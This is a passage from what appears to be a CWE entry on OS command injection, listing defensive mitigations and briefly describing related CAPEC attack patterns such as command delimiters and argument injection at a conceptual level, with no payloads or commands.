Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-39
Implementation
  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
  • In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Operation

Strategy: Sandbox or Jail

Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-108: Command Line Execution through SQL Injection

An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.

CAPEC-15: Command Delimiters

An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.

CAPEC-43: Exploiting Multiple Input Interpretation Layers

An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.

CAPEC-6: Argument Injection

An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.

CAPEC-88: OS Command Injection

In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.